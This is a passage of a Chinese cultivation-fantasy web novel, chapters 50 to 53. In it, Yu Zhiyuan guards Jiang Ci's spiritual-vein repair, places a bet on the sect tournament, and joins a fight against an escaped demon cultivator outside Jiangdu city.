他脸上如同往常一般挂着一抹温和的笑,然而那抹笑竟在他脸上形成两种迥异神情,一半脸与寻常无异,皮肤光滑,容貌俊美,然而另一半脸却异常苍老,沟壑般的皱纹满满地蔓延在颊畔,又像是被烙下火印,每寸肤上仅残存着皮肉焚炙而坏死的火纹痕迹,鲜红夺目。 一半似人,一半似鬼,连同他的笑,一半温和,一半狰狞。 慕言蘅从前也见过虞瀚玥妖毒发作时的模样,却没有一次如眼下这般让人心惊。 不过他很快压下了这点异样的情绪,应声道:“是虞师妹和姜师妹。” 虞瀚玥敛下眼皮,且等了片刻,方才又开口道:“罢了,此事你权当不知,毋需再与他人提及。” 慕言蘅乍然听见这话,眼底飞快地掠过一丝诧异。 但他还是很快应了声“是”,而后才又问道:“师尊的妖毒……” 虞瀚玥摇摇头,似乎并不在意,只是道:“今日唤你过来,并非是要你来问候探望我,而是有一事需要你去办。” 他说到这里顿了下,不等慕言蘅开口问什么,便正色道:“我要你与姜辞结为道侣。” 50-60 第51章 第51章也像是吞吃人的野兽,咬…… 即便有了凤灵兰,灵脉的修复也不是件容易的事。 回到中阙峰的第二日,虞知鸢就催促着姜辞赶紧找个清净的地方闭关炼化凤灵兰。好在这一回姜辞倒是没再推三阻四,二人一商量,闭关的地方便选在了发现毛团子的那个瀑布后有寒潭的山洞。 概因凤灵兰是火系灵草,在炼化时经脉会感觉到被烈火灼烧的疼痛,而那个寒潭,恰巧便可以缓解这种疼痛。山洞也足够隐蔽,轻易不会被人打扰。 当然再隐蔽,还是少不了人给姜辞护法,而凌云宗里姜辞能信得过的也只有虞知鸢了。 虞知鸢尽管心里别扭,但事关姜辞和自己的生死,再别扭,她也还是应了下来。 不过事实证明有些事纯属是她自己心思不纯,人姜辞一入定就成了个雕像,任外头瀑布水声隆隆,又或者天气突变电闪雷鸣,还是寒潭因为他炼化凤灵兰而变成了温泉水池,他眼 睫毛都不带抖一下的。 虞知鸢可做不到他这样,她脑子里乱哄哄的,隔一阵就忍不住睁眼看看姜辞。 外头应当已近酉时,坠日的霞光穿透瀑布,橙红色晖光洒落池上,把寒潭染出一片斑斓美色,也濡染谭中人的面庞和发梢。 水气蒸润,几粒晶莹水珠凝挂在白皙脸颊,微湿黑发落在上头,像纸上一笔随性墨迹,两色对比强烈,真真赏心悦目。 静谧会让时间的流逝变得无法察觉,虞知鸢被一阵“哗啦”的出水声唤回神智时,才发觉自己又看姜辞看呆了。 她心下一阵懊恼,赌气似的移开视线,看到一个湿漉漉的脑袋正好从潭水中探出头来。 那雪白的一团也看到了她,从谭中一跃而起,飞跑几步,眨眼便跃入了她的怀中。 虞知鸢往它身上打了个清洁术,又用灵力烘干它的毛发,等它重新变回毛茸茸的一团,这才揉了揉它的下巴。 毛团子被她摸得舒服了,眯起眼,脑袋埋在她掌心,毛绒绒的尾巴还蹭了蹭她的手腕,不消半刻功夫,怀中就响起了细微的鼾声。 虞知鸢看着那张圆滚滚毛绒绒的脸颊,端详了半晌,又戳了戳它鼓鼓的腮帮子,还是没能把毛团子弄醒。 这也太能睡了。 自打从千嶂谷回来,毛团子大半时间都在睡觉,少有的清醒时间,便是同姜辞一起泡在寒潭里,不知道的还以为是它在修复灵脉…… 虞知鸢默了默,盯了毛团子片刻,而后才又重新闭上了眼。 山中不知日月长,一转眼便过去了十五日。 虞知鸢前一晚上睡得相当踏实,连梦都没做一个。 她迷迷糊糊坐起来,看到姜辞还在谭中打坐,她双目闭合,面容如玉,整个人连一丝一毫的位置都没有动过。 而围绕着她周身,灵气渐渐以她为中心形成了一个漩涡,正不断往她体内钻去,便是寒潭的水,这会儿都因她炼化凤灵兰而变得热气腾腾。 山洞内雾气灵气缭绕,通信玉牌不断闪烁的光亮便显得格外扎眼。 只是,闪的竟然是那块她从来也看到闪过的姜辞的那块通信玉牌? 虞知鸢抓起来瞧了下,揉揉眼睛,又瞧一下。 嗯,没看错。 所以竟然有人在联系姜辞?会是谁? 虞知鸢手里把玩着玉牌,在看与不看之间犹豫好一会儿,最终还是被自己尚存的道德感打败,放下了通信玉牌。 偷看别人的消息可是侵犯人隐私的,她可不是这种人! 哪知她这边才放下姜辞的通信玉牌没多一会儿,自己腰间的玉牌就闪了下。 发信息来的是南荣钰,问的却是姜辞。 “虞师姐,姜师姐跟你在一起吗?我发她消息怎么不回我?” 虞知鸢抿抿唇。 这南荣钰什么时候和姜辞走这么近了? 她这边还没说什么呢,通信玉牌又是一亮。 虞知鸢心念一动,文字就自动变成南荣钰哭唧唧的声音,在她识海中响起: “虞师姐你是不知道啊,我前些日子跟着大师兄去了一趟别梦鬼市,那地方邪魔歪道多得不行,我买的法器几乎全报废了才勉强捡回一条命来。” 大师兄?别梦鬼市? 虞知鸢想了下:“慕言蘅?他去那里做什么?” 南荣钰:“好像是去采买什么东西,神神秘秘的,他也不让我跟着,我都差点就给个狼妖给吞了,他根本不管我。我看他们是根本不打算让我活着回去了,我的命怎么这么苦啊我。” 虞知鸢:“……” 南荣钰:“虞师姐要不帮我问问姜师姐,她从我这借走的结界灯什么时候能还我?我现在保命的法器可都没几件了……”他顿了顿,像是想起来什么,支支吾吾地:“当然,我也不是一定要姜师姐还,我就是问问,随便问问……” 结界灯是修真界中少见的上品法器,灯身以深海巨鲇须编织制成,灯芯却非一般寻常棉线,而是一颗火石,名“鼬腹石”,乃是取自云黕鼬腹中结出的鼬石所制。 云黕鼬生性胆怯,一丁点风吹草动,都会使他们大受惊,一受惊,便会喷吐出黑色烟雾,烟雾笼罩范围内会形成一个无人能察觉到的空间,以便于云黕鼬趁机逃命。 而经年累月形成的鼬腹石,亦有相同效果,只需灵力稍加催动,鼬腹石便会形成一个类似于修士设下的结界,因而以鼬腹石为灯芯制成的灯也被称作结界灯。 结界灯的效果好坏,则取决于燃灯者修为,修为越强,定身的范围就越大,也越能见效。 只是姜辞要结界灯来做什么? 虞知鸢拿过姜辞在入寒潭前就交给她的储物袋,随手往里头一掏,还真掏出来一个形状似四方灯笼的灯盏。 正打量着灯盏,手边的玉牌蓦地又闪了下。 虞知鸢下意识打开消息,识海中响起的却是另外一道声音:“师妹闭关半月,不知可还顺利?” 这个声音…… 是慕言蘅?!? 虞知鸢惊讶之余,忙侧过视线,果然手边的并不是自己的那块玉牌,而是姜辞的。 所以慕言蘅这是在……关心姜辞? 心中骤然生出些许焦灼。 只是这情绪来得突兀又莫名,教虞知鸢不愿去深究。 她默默转回头…… 一道沉而缓的声音蓦地响起:“师姐在和谁闲聊?” 虞知鸢猛地一顿,掀起眼皮,便对上了一双幽沉眼眸。 她还来不及反应,一道不容她反抗的灵力便裹住了她全身,把她往谭中扯了过去。 猝不及防之下,虞知鸢只得本能地抱住了姜辞的肩,双腿也跟着攀附上了姜辞的腰,同时也把姜辞撞入了水中。 水没过头顶,也浸湿了虞知鸢的衣衫。 但这时候她哪里还管得了这些细枝末节,只四肢并用,牢牢缠住了姜辞。 隔着两层薄薄的布料,恍若肌肤相贴。 姜辞经脉内属于凤灵兰的那股热意本就尚未完全褪去,被她这么柔软地贴着,体内血液不受控地奔腾流窜。 他抬手扶了扶她的腰,直起身,将她从水里捞了出来。 风吹过。 身上的人便不自觉地往他身上贴得更近。 而后姜辞只觉得脖颈一热。 虞知鸢喘了口气,这才从他脖颈间抬起脸,问道:“你的灵脉,修复好了?” 她长发湿漉,犹在淌水,额前、面腮、下额,挂满晶莹水珠。 姜辞屈起食指,一点一点替她拭掉,这才淡声道:“尚未完全修复,但也快了。” “噢。” 虞知鸢垂着眼皮应了声,倒是难得没有躲避他这般的亲昵动作,由着修长指节在自己脸上轻移。 只就是不看他。 姜辞抿了下舌尖,一手托住她的后颈,“师姐还没告诉我,方才是在与谁闲聊呢?” 虞知鸢怔了怔,想起来方才通信玉牌里慕言蘅的话,心里的那点焦灼便又涌了上来。 她抿抿唇,压下这股莫名其妙的情绪,低声道:“没谁。” 话音未落,她便感觉姜辞的怀抱似是愈发紧了,紧得她都有些喘不过来气了。 “我们上去吧。”她试着推了下身前的人。 姜辞却还是没有要放开她的意思。 他屈指拂开她眼角滑落的一颗水珠,而后掐住了她的下巴,迫使她不得不对上了他的视线。 他眸中的颜色深沉,像是深不见底的寒潭,轻易便能将人卷入其中, 也像是吞吃人的野兽,咬住便不会松口。 “师姐喜欢我吗?”他问她。 虞知鸢脑子发晕,但理智尚存。 尤其现在的姜辞给她的感觉,就像是要吃了她一般。 如果她回答“喜欢”的话。 于是她咬住了唇,不让自己说出不该说的话来。 姜辞却似乎并不打算这么轻易放过她。 方才在她脸上轻抚的指节,缓缓贴住了她的脊背,一寸又一寸地不断下移。 一种怪异的酥麻感袭上了她的全身,让她不由自主地轻轻发起抖来。 “姜辞!”她忍不住喊道,出口的声音都带着细微的轻颤。 “我在。”姜辞应声,垂下头来看住了她,“有件事我想让师姐知道。” “什、什么事?” 姜辞没说话,只更加用力掐住了她的腰。 这般亲密而又狂肆的动作,让虞知鸢更加贴近眼前这具身体。 平、平的…… 飞机……场? 还有…… 虞知鸢脑中闪过无数奇奇怪怪的念头,某一瞬间,像是意识到了什么,却又猝不及防被一道声音打断: “师妹,我已于别梦鬼市寻得一株凤灵兰,可助师妹修复灵脉。” “明日后山琉璃灵池之约,师妹莫忘。” 是慕言蘅。 是姜辞的通信玉牌。 虞知鸢陡然醒过神来,几乎是下意识地伸手去推姜辞,脸色都跟着一白:“是……大师兄。” 姜辞将她的反应尽收眼底,眸中控制不住地戾气渐生。 大师兄,是吗? 少顷。 姜辞动了动唇,回复通信玉牌另一头的同时,轻浅的声音跟着在虞知鸢耳旁响起。 “好。” 第52章 第52章“是生我的气,还是………… 虞知鸢跟南荣钰在江都城的赌场里晃荡了好几日。 临近宗门大比,提早前来参加大比的各宗门弟子大多下榻在江都城的各客栈内,城内比往常都要热闹得多。 而赌场内,因有好事者早早开了赌局,赌的便是谁会在这回宗门大比中夺魁,更是吸引了不少人前来下注。 凡人都称修士一声“仙人”,修士追求的也确实是得道成仙。 但既未得道,终究便也只是人,是人就难免七情六欲,更改不了大多数人爱凑热闹爱打赌的性子。 而这修真界中五十年才一回的宗门大比的魁首,更是激起了众人激烈的争论。 修真界里大大小小宗门无数,虽说所有人都可以报名参加宗门大比,但夺魁的热门人选,倒只是集中在修真界中公认天赋上佳的那几人身上,其中呼声最高的便是凌云宗首席大弟子慕言蘅。 常人入道,从炼气到洗髓到成功筑基,少说要花耗数十年之久,而慕言蘅秉承剑气而生,自幼便表现出来极高的悟性,如今才不过二十六,修为更是已经突破到了元婴期,又如何能不教人不称呼他一声天才? 当然除慕言蘅之外,照日台墨月白以及空灵谷沈织二人也是魁首的热门人选,一个拥有上古法修的传承,一个体内有妖王血脉,同样是修真界中教人望尘都莫及的存在。 而除了这三人,赌桌上倒也满满当当排了好几列刻了名字的木牌。 但相比于那三人,押其他人夺魁的人实在不多,其中尤其以最角落那枚刻着“凌云宗姜辞”的木牌前,更是只有十足寒碜的几块灵石。 南荣钰捏着自个儿的储物袋举棋不定,看来看去,还是忍不住再次跟虞知鸢确认:“虞师姐,咱真的不再考虑考虑吗?” “你不信我?”虞知鸢瞪他:“你要是不信我,现在、立刻、速度地回你的中阙峰去,去好好历练,早死也好早超生。” 南荣钰闻言立刻耷拉下来脸。 要不是虞知鸢前几天非拉着他到江都城四处晃荡,此刻他应该已经跟着任务堂的弟子去望浮海了。 虽然他不知道要去那里做什么,但望浮海对面可就是魔域,那能是什么好地方啊! 本来他就不乐意去,虞知鸢用自己大师姐的名头一压,那任务堂的长老竟还真的松了口。 但这也不代表,他愿意把自己所有的家当拿来替她下注啊! 南荣钰再次挣扎道:“但姜师姐她才炼气期……” 虞知鸢呵一声,“你什么脑子,她都融合二阶了!” 她都才筑基二阶! 南荣钰滞了下,这才想起来近日宗门中传得沸沸扬扬的流言,说是大师兄为姜辞寻来了极品灵草凤灵兰帮姜辞修复灵脉,又为姜辞炼化凤灵兰护法,每日陪在姜辞身侧悉心教习,不到十日便帮姜辞成功筑了基。 若只是这般,虽这样的修炼速度虽然也十分少见,但前有虞知鸢这个例子,顶多也就是让人叹一句“凌云宗又出了个天赋不错的弟子”,可偏偏,在这之后不到半个月,姜辞又从筑基修炼到了融合,那可是又整整跨了一个大境界啊! 虞知鸢是不觉得意外,毕竟姜辞身为女主,自然甩他们这些路人十条街不止,更何况姜辞早之前就已经修炼到了金丹期,只不过因为灵脉受损修为才会一跌再跌。 但这样的修炼速度落在众多不知情者眼中,险些惊掉他们的眼珠子。 若按慕言蘅那般可以称得上是“天才”,像姜辞这样的,那可就堪称恐怖了。 这世上真的会有人能有如此天赋? 门中不少弟子对此持怀疑态度,加上姜辞和慕言蘅始终未曾出现在众人眼前,各种流言也便越传越离谱,其中甚至还有说姜辞会这么快进阶,那是因为她和大师兄双修了! 众人会有这种猜测,那也是有依据的。 一般来说,宗门内弟子之间互相帮扶的事在修真界内很是常见,甚至许多宗门内的首席大弟子,都会代替宗门长老或是宗主行教习之责。 但偏偏,如今这位代师尊教习的大师兄却是慕言蘅,而那位被教习的,又是一位容色实在出众的女修。 要知道慕言蘅这人虽然并不难相处,但在修真界里可是出了名的“两耳不闻窗外事,一心只修无情道”。 从前宗门里想要得他指点的人不在少数,他却几乎都只会回一句“自行参悟”,便是从前那整日在慕言蘅身边跟前跟后的虞曦云,也没有像这回似的, 那简直都是恨不得手把手教人家了。 到了这种程度,要是还没人看出来其中的不寻常,那可真算是白长了一双眼了。 因而宗门里都在传大师兄这是动了凡心了,兴许就是因为两人双修过了,姜辞的修为才会涨得那么快,更也许过不多久,两人就要结为道侣了! 这话有信的,自然也有不信的。 但不管信不信,所有人都得承认,姜辞和慕言蘅站在一起,无论是从气场,还是从长相,都只能用般配来形容。 哦,除了一点。 那就是姜辞的身形实在过于高挑了些,也就缺少了那么些小鸟依人的柔软。 当然,这只是一点小小小小的瑕疵,并不影响“大师兄和姜师妹要结为道侣”这个消息在宗门中的广泛传播。 按说事情发展到这样的地步,对虞知鸢完成当初系统所说的那个任务来说,那可是相当的、极其的顺利。 姜辞灵脉修复,修为大涨,以她的天赋,别说融合期了,便是修炼到大乘期也应当花不了多少时间,而她与慕言蘅之间,少了那个不知为何突然之间便人间蒸发了一样的虞曦云,发展得更是比原文中快了不是那么一点两点。 这不,都快要结为道侣了呢。 呵! 也不知道当初是谁视某人的命如粪土,看某人掉下血雾沼泽,连眼睛都不带瞟一下。 就这样的,现在凑在一起,迟早变成一对怨偶。 虞知鸢一边腹诽,一边又在自己储物袋里胡乱翻了翻,可惜里头除了定魂珠,也就只有那枚极品灵玉了。 她把灵玉攥在手里许久,最后也还是没拿出来。 这极品灵玉难得,帮她修炼事半功倍,要是押在这里个把月,她倒还觉得不划算呢。 至于之前想好的等姜辞灵脉修复好就还给她…… 那人家现在有更好的修炼的法子呢,哪里还用得上这灵玉啊是吧? “虞师姐,这事我是这么看的啊,你看,姜师姐如今灵脉确实是修复好了,但修得再好,修为涨得再快,那一时半会儿的 也不能打得过大师兄啊,是吧?“南荣钰看她面色变来又变去,迟疑着道。 虞知鸢斜他一眼,“这可说不准。” 南荣钰吞了口唾沫,“那要不咱把灵石平分一下,一半押姜师姐,另外一半就押大师兄,这样成不?” 虞知鸢:“不成。” 自然是不成的。 没人比她更清楚这一回宗门大比的魁首会是谁。 她可以没有姜辞,但不能没有钱! 照原文中,这一回的宗门大比之后,男女主之间才开始互生情愫,但按照眼下的发展,说是宗门大比后两人要立地结成道侣她都是信的。 既然如此,她当然得提前给自己做好打算。 留在凌云宗? 且不说她不知道虞瀚玥那糟老头到底打的什么主意,光是想象一下日后她要看着姜辞和慕言蘅整天腻歪来腻歪去…… 不行,她绝对会恶心吐的! 那就只有离开凌云宗了。 自此山高任鸟飞,水阔凭鱼跃,她又长得漂亮,又有本事又有钱,没人管着,岂不是要多快活就有多快活? 至于什么男人……哦,还有女人,喜欢不喜欢的,呵,还不就是她勾勾手指头的事。 她这边正畅想着美好未来,隔着人群,眼角余光似乎瞥到一抹熟悉的人影。 心脏不受控地一跳,转过头,入目只有攒动的陌生人头。 旁边南荣钰还在磨磨唧唧的,虞知鸢脸一垮,索性一把拽过他手里的储物袋,把里头的灵石一股脑儿倒出来。 “哗啦啦”的声音后,刻着姜辞名字的木牌前便堆积了近百枚灵石。 跟那几个夺魁热门相比这点灵石倒不算多,但这些灵石可是出自一人之手,押的还是个毫无名气的人,自然吸引了不少人的目光。 “是凌云宗弟子。她押的是……姜辞?没听说过这号人物啊。” “这个姜辞也是凌云宗弟子,难道凌云宗又出了个修真天才?” “嗐!再天才那能比得过慕言蘅?要我说,这位道友应当与这位叫姜辞的道友是好友吧,支持一下嘛,可以理解。” “说得有理,我也给我师姐下一注,回头跟她一讲,说不定她乐了还能夸我两句。” “……” 这下轮到南荣钰垮下脸来,他抚着心口,一脸要哭不哭地看向虞知鸢。 就为了支持一下? 这可是他剩下的所有积蓄了啊!!! 虞知鸢没回看他,也没跟南荣钰说太多,就这么顶着各色目光,施施然走出了赌坊。 外头已是明月高悬。 因着近来人多,街边摆摊的小贩也比之前多了数倍,甚至比白天还要热闹些。 南荣钰垂眉耷眼跟在虞知鸢身后,经过一处卖烤鸡的铺子前,不自觉吞了口口水,又想起自己被掏空了的储物袋,口水险些变成泪水从眼眶里流出来。 啊,他可怜的灵石啊! 啊,他可怜的肚子啊! 他的命怎么这么苦—— “两碗云吞。” 嗯? 南荣钰抬头,这才发现他们这会儿走到了一个卖云吞的小摊上。 他面上难掩不忿:“你怎么还有灵石?” 阖着她不花自己的钱,就用他的? 虞知鸢白了他一眼,“这里可以用银钱。” 江都城是凡人与修士共居的城池,灵石和银钱都可以使用,而街边这些小吃摊子做的大多都是凡人生意,银钱反而比灵石还要好用些。 虞知鸢身上是没灵石,碎银倒还有一些。 两人吃着云吞的时候,远处隐约有嘈杂声响起。 南荣钰扭头去看,一旁的摊主头也不抬道:“这几日城里来了不少人,人多了就——” “乱”字还没说出口,一阵“叮铃咣铛”声跟着响起,一道影子直直冲了过来。它四肢伏地,动作极快,街边众人都被吓了一跳,完全没反应过来。 虞知鸢拉着南荣钰和那摊主一个侧身躲开。 “是妖!” 街上的修士也反应过来,几乎是先后出手,朝那影子打了过去。 那妖被砍成两截,下半身重重跪倒下去,衣衫也着了火,转瞬就烧得只剩一副骨架子了。 众人七嘴八舌议论起来。 “怎么会有妖混入江都城?!” “想是近来城中进出人员繁杂,这妖怪便扮作人混入城中,却被人识破,不得已才慌乱逃窜过来。” “扮作人?那岂不是……” 那摊主和南荣钰一起被虞知鸢护在身后,反应过来吓得话都说不利索:“多、多谢仙子相、相救。” 无人应答。 他一抬头,眼前只有一个跟他一样吓得哆哆嗦嗦的南荣钰,又哪里还有方才那位仙子的身影呢? 另一厢,虞知鸢掌中凝聚的灵力在闻到熟悉的气息后转瞬消散。 等脚终于落了地,挟裹着她腰的那只手却并未松开。 她挣扎几下,换来那人冷声一句“别乱动”。 你说不动就不动? 她扭头横他一眼,没好气道:“你不好好和大师兄一起修炼,跑这里来做什么?” 姜辞盯着她看了会儿。 她漂亮的眉头皱紧,看他的眼神都是恶狠狠的,显然很不高兴。 为什么不高兴呢? 他屈指抚了下虞知鸢的眉头:“生气了?” 虞知鸢:“……” “是生我的气,还是……”姜辞的喉结滚了滚,“大师兄?” 第53章 第53章(章末新增200字)她…… 江都城没有宵禁。 沿街悬挂着许多大红灯笼,被微凉的夜风一吹,滴溜溜地打起了旋儿。 虞知鸢错开和姜辞对的目光,视线越过他的肩膀,落在那大红灯笼底下挂着的穗子上。 “我没生气。”她道。 姜辞揽着她腰的手登时用了点力气。 虞知鸢感觉到了,忍不住皱了皱眉,她挣扎了下,那手却收得更紧了。 这人怎么这样! 原本她是真没觉得生气,这下倒是不知从哪蹿出来一股邪火。 她用了大力去拍腰间那只手,怒道:“你松手!老对人动手动脚的,你知不知道你就像个举止轻浮的女登徒子!” 都已经跟慕言蘅单独约会了,关系怕是也确定了吧,还在这跟她搂搂抱抱,扰的人心思起伏…… 凭什么啊! 越想越觉得气不打一处来,偏那只手跟个老虎钳似的,任她怎么掰都掰不开。 她用力地抿了下唇,心中突然涌上一股莫名的委屈,但她又不想让眼前的人察觉到,于是便只低垂着头,勿自跟那只手较劲。 二人僵持间,便有脚步声近了。 “虞师妹,姜师妹。”男子清醇的声音响起。 虞知鸢侧眸,视线一顿。 来人正是慕言蘅,他身后不远不近还跟着个眼珠子直滴溜溜乱转的南荣钰。 虞知鸢控制着自己的表情,顶着姜辞依旧死死盯住她的目光,望着来人,勉强扯了下嘴角:“大师兄。” 她这一侧眸,也便没有注意到姜辞骤然阴沉下来的眸色。 慕言蘅朝她点点头,而后走近几步,上下打量了下姜辞,“师妹可有受伤?” “无事。”姜辞答,缓缓松了手。 “师妹灵脉才修复好,万事不必勉强,若是受了伤尽管告诉我,也免再伤根本。” “好。” 虞知鸢:……好,确实好,好得很。 她没再看姜辞,只木着脸对慕言蘅:“大师兄和姜师妹今日怎的有闲情逸致来江都城闲逛?” 慕言蘅摇摇头:“一刻前戒律堂外的玄明锁忽然异动,关在罪牢最外层的妖修趁机逃了出来,其中有一狐妖趁乱混入江都城,灵渊长老便命我和姜师妹过来一趟。” “玄明锁异动?”虞知鸢拧眉,下意识就要去看姜辞,又被她生生忍住了,“怎会有异动?严重么?” 慕言蘅:“尚未查明原因, 但出逃的都是修为在妖灵境以下的妖修,灵渊长老已率弟子在城外布了阵法,不会再有妖修进得城来,师妹不必担忧。” 虞知鸢早已心念迭起,面上却是不显,她沉默了下,忽然扭头盯了盯姜辞腰间挂着的储物袋,在另三人都未曾注意的时候,猛地把那储物袋扯了下来。 这形似劫掠的举动霎时吸引了其他三人的视线。 虞知鸢是不在意的。 她又毫不客气在里头扒拉两下,在瞧见里头的东西后心里一松,这才仰起脸朝姜辞道:“我的灵石都花光了,师妹的便借我几日罢,待宗门大比之后再还你。” 说罢也不等人答应,把储物袋往自己怀里一塞,头也不回地走了。 慕言蘅、南荣钰:“……” 姜辞没出声,只盯着虞知鸢的背影,视线直勾勾地,其中情绪变换,竟隐隐漫出一丝笑意来。 正主都没说什么,其他人自然更没有插嘴的余地。 慕言蘅走到姜辞身侧,“狐妖已除,师妹是想回山上去,还是想在江都城逛——” 他“逛”字还未说出口,姜辞身形一动,已然跟上了前头那抹翠绿身影。 慕言蘅顿了下,眸光轻动间,大步追上去,与姜辞并排走在一起。 南荣钰更是不敢一个人留在这里。 于是一行人就这么坠在虞知鸢身后,跟着她在江都城悠悠闲闲逛了半夜。 虞知鸢自然察觉到了身后的动静,却也懒得搭理他们。 自己一路逛着,买了一兜子的桂花糕、麦芽糖、西瓜子。 路过一间专用灵草、灵兽肉烹饪菜肴的食肆,她余光瞄一眼身后的人,迈步踏了进去。 里头不少修士围坐一处,正低声议论着什么,见虞知鸢进门来,抬头瞥了一眼,方才要转回头去,余光瞥见了后头的人影,立时便有人认出了慕言蘅。 “是凌云宗的首席弟子。”有人低声道。 这话一出,当即便有人起身,略过虞知鸢向前迎去,将慕言蘅以及他身侧站着的姜辞围拢了起来。 虞知鸢心中哼了声,只勿自找了个靠窗的桌子坐下了,后头南荣钰自然也是没人理会的,于是小跑着过来,挨着虞知鸢右手边坐下了。 “上最贵的菜式来,酒便不要了。” 有过上回醉酒断片的经历,她是不敢再乱喝了。 “来了!”小二应声,拾起桌上的几枚上品灵石。 虞知鸢这会儿花起灵石来是半点也不心疼,那是姜辞储物袋里的,而她没记错的话,之前在寒潭时她的储物袋里压根就没灵石,那现在这里头的灵石,也只能某些人送的了。 既然是送的,那花起来还有什么好心疼的。 另一边众人同慕言蘅打了招呼,自然也注意到了姜辞。 正在他们暗暗猜测姜辞的身后,慕言蘅自己开口了。 “这位是我师妹,姜辞。”他道。 众人不免又仔细打量起了姜辞。 一身青色衣衫,发间只簪了个似是冰棱做的簪子。 她面上没有什么表情,面若含冰,眸若星河。 但慕言蘅却与她靠得很近,言辞间还颇为照顾。 众人心中忍不住嘀咕,这个姜辞看起来和慕言蘅的关系不一般啊。 但凌云宗之前不是说这位大弟子修的是无情道,一辈子也不会和人结成道侣吗? 他们按住思绪,与姜辞见过礼,还想与二人再攀攀关系,便见姜辞勿自往靠窗的那张桌子过去。 那桌旁坐了一男一女。 方才抬眸打量过虞知鸢的,自是认出来她就是刚才走在慕言蘅和姜辞前头的人。 “那是我另一位师妹,”慕言蘅顿了下,又道:“还有师弟。” 众人闻言,便自觉让出了路,也识趣地没有再往上凑。 这边慕言蘅才一落座,小二便将菜肴呈上来了。 南荣钰已经好几天没吃过一顿像样的饭了,捏住筷子就要去夹菜。 筷子才伸出去,被虞知鸢一掌拍下了。 南荣钰:“?” 咋地? 他灵石都给她了,她竟然连顿饭都不让他吃?!? 忽略南荣钰控诉的眼神,虞知鸢先夹了一筷子菜,顿了下,放到了对面人的碗里。 “大师兄吃。” “……” 别看这会儿没人敢靠近他们,但有意无意往这边看过来的人可不在少数。 但这些人的视线,着实比不上此时正与她坐在一桌上的几人朝她投来的,犹如有实质的各色目光。 慕言蘅怔愣,南荣钰惊讶,至于左手边那位…… 眼神要是能杀人,虞知鸢毫不怀疑自己的脸上会被她戳出个洞来。 不就是夹个菜么,用得着气成这样? 虞知鸢只做不知,也不管其他人怎么想,招呼了南荣钰一句便开始埋头干饭。 好几枚灵石买的呢,不吃白不吃。 待到一桌饭被虞知鸢和南荣钰干得差不多了, 不多时,食肆外匆匆行来一人,朝慕言蘅拱手见礼。 而后道:“大师兄,灵渊长老传讯,请大师兄前往城外十里地。” 慕言蘅并未立即答话,少顷,才点了点头,目光看向姜辞,“师妹同我一起罢。” 姜辞方才要拒,还在和食物奋斗的虞知鸢冷不丁放下筷子,插声道:“我也去。” 慕言蘅之前便说过灵渊长老率弟子在城外布阵,捉那些从罪牢逃出去的妖修,现在灵渊长老又让他去城外,定是与这些妖修有关。 她得去看看。 慕言蘅瞧一眼姜辞,见她目光没从虞知鸢脸上挪开过,顿了顿,“……那便一起吧。” 虞知鸢立即站起来,挤开那个整日都没好脸色的人,屁颠颠站到了慕言蘅身后。 南荣钰看看虞知鸢,又看看姜辞……也跟了上去。 一路无话。 到了城外,还没站定,突然听得一阵隆隆声响。 众人抬眼望去,便见一只巨大的妖兽,形状似豹,前足肩胛骨后长出了数道锋利的骨刺,它疾步朝众人奔来。 背上坐着一满面须发的男子,朝众人不屑一笑:“我当是来了什么厉害人物,不过也是几个喂菜的。” 话音落下时,那似豹的妖兽飞奔腾空,朝他们踏来。 姜辞变了脸色,扯着虞知鸢的袖子便往旁边一滚。 以至于慕言蘅同时伸手,却摸了个空,只得转而揪住了南荣钰的领子。 虞知鸢挣开姜辞的手从地上爬起来,那妖兽已调转方向,朝慕言蘅而去。 妖兽身上的妖修,则直奔虞知鸢和姜辞。 柿子可不得挑软的先捏吗?那妖修露出一抹狰狞笑容。 虞知鸢见此人来势汹汹,才抬手,便被一人挡到了身后。 姜辞挥袖掐诀。 “嘭”的一声,青色光芒与那妖修撞到一起,发出巨大的声响。 紧接着,那妖修狂笑的声音四散开来,身形一闪,便到了姜辞身后,似乎要拿虞知鸢做人质。 这时有人大喊道:“这妖修修为已至元婴,快躲开!” 这厢那妖修已经轻飘飘落在虞知鸢身后,正要伸手环住她肩部,不妨眼前一道影子闪过,再一定睛,被他箍住的人竟变成了方才与他对过一掌的女子。 再看另一人,这会儿也转过了头来,一脸懵地与他面面相觑。 妖修顿了顿,再看自己身前之人…… 罢了,都是人质,换一个也无妨。 另一厢慕言蘅方才将那妖兽击退,见状也是眼皮一跳,但转瞬又平静下来。 “你,给我闪开!”妖修把姜辞抓得更紧,先是冲虞知鸢喊了声,又看向慕言蘅:“我可是抓了个人,你要是敢动手,我就杀了她!” 慕言蘅顿了顿,“你别伤到她,我可以代替她做你的人质。” 此言一出 ,倒是让远处还在布阵的其他弟子都短暂地晃了下神。 “哈!你当我傻?凌云宗的大弟子,我等可轻易不敢碰。”那妖修狞笑,“我也没有过分的要求,你们放我离开,我便放了她。” 姜辞此时垂着眼,手中已凝聚了一股灵力了。 便在这时,九道人影自山腰中冲天而起,九道紫色的剑柱,以各不相同的姿势角度,在九个方位同时朝那妖修劈斩而出。 阵法已成! 再看姜辞,她周身灵力流转,将她整个人裹住,但相比于半空中劈砍而下的剑阵,又显得实在微不足道。 虞知鸢头皮发紧,急切上前几步去拉姜辞,却被裹住姜辞的那圈灵力给弹开了几丈远。 等她再抬头,便见数道光华在妖修身上炸开,而后光华散去,姜辞……安然无恙。 安然无恙? 倒是另一厢,慕言蘅一个趔趄,虽是很快定住了身形,也叫不少人察觉到了异样。 紧接着,“轰隆隆”一声。 一圈波纹从半空朝四周荡开,卷起碎石尘土无数,灵压席卷而过,抽干了或躲藏或奔逃的其余妖修的妖力。 待风声过,那些妖修已经横躺在地上,生死不知了。 此时灵渊长老才从远处疾步而来,“那妖修难缠,亏得几位师侄吸引了他的注意,否则我这困邪阵难——” “成”字还未出口,灵渊长老猛地一顿,上下打量了眼慕言蘅,又看看另一边的姜辞,问:“师侄你……” 慕言蘅没接话,只道:“我心里有数,长老不必忧心。” 灵渊长老沉默了下,点点头,而后放出一葫芦,将躺得横七竖八的妖修都吸进去,而后便带着其他弟子一起离开了。 这厢虞知鸢心下也翻腾似海,顾不上甩开姜辞搀扶她的手,她抬头看向她,问道:“大师兄……在你身上下了禁制?你受攻击,伤却是在大师兄身上?” 姜辞不语。 旁边的南荣钰听到,忍不住惊了惊。 这样的禁制也设得? 难道真如传言一样,大师兄和姜师姐要结为道侣了? “待到宗门大比之后,师尊会为我们主持结侣仪式。” 慕言蘅的声音落下,南荣钰才察觉到自己刚才竟然无意识地把自己脑子里的问题问了出来。 只是现在这不是重点,重点是,大师兄竟然真的和姜师姐……在一起了? 可虞师姐…… 